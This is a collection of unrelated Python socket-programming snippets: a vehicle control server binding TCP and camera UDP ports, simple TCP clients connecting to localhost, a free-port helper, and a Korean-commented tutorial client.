if state: state["operating_condition"] = "normal" log("Vehicle armed, active") if __name__ == '__main__': vehicle = mp.Manager() control_q = mp.Queue() client_q = mp.Queue() camq = mp.Queue(1) vehicle_state = vehicle.dict() vehicle_state["operating_condition"] = "startup" set_active(vehicle_state, True) max_client_connections = 1 serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) camera_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) if len(sys.argv) == 3: ip_addr = sys.argv[1] port = int(sys.argv[2]) elif len(sys.argv) == 1: ip_addr = "localhost" port = 8888 else: print("Usage: {} <IP ADDR> <PORT> or no arguments for default"\ .format(sys.argv[0])) exit() serversocket.bind((ip_addr,port)) camera_socket.bind((ip_addr, port+1)) print("Camera on port {}".format(port+1))
def __init__(self): self.the_clients = [] self.my_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.my_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) threading.Thread.__init__(self)
def client(ip, port, message): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.connect((ip, port)) sock.sendall(bytes(message, 'ascii')) response = str(sock.recv(1024), 'ascii') print("Received: {}".format(response))
def find_free_port() -> int: with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind(("", 0)) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) return s.getsockname()[1]
import time import socket while True: s=socket.socket() host="127.0.0.1" port=450 s.connect((host,port)) print(s.recv(1000).decode()) time.sleep(5)
''' 1. 소켓생성 2. 3. 접속시도 4. 5. 데이터 송/수신 6. 접속종료 ''' import socket print("1. 소켓생성") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #tcp 소켓 생성 SOCK_STREAM print("3. 접속시도") sock.connect(("127.0.0.1", 12000)) print("5. 데이터 송/수신") sock.sendall("Hello socket programming".encode()) print("6. 접속종료") sock.close()